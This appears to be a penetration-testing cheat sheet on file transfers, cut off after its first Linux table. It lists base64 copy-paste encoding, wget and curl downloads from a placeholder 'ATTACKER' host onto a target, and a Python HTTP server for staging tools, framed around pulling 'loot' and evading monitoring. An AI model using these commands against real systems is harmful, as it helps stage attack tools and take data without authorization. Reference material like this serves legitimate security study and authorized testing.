Navigation
Breadcrumb

Posts on: File-Transfer

srl

File Transfers

Moving a tool onto a target and pulling loot off it is a prerequisite for almost every other phase. This file covers transfers in both directions, on both Linux and Windows, with an emphasis on methods that work when wget, curl, ssh, and nc are missing, blocked, or monitored. 1. Basic Methods (Linux) Command Description cat file | base64 -w 0; echo Encode a file to a single base64 line for copy-paste echo 'BASE64' | base64 -d > file Decode on the other side wget http://ATTACKER/file -O /tmp/file Download with wget curl http://ATTACKER/file -o /tmp/file Download with curl python3 -m http.server 80 Start a quick HTTP server on the attacker box When wget/curl are missing: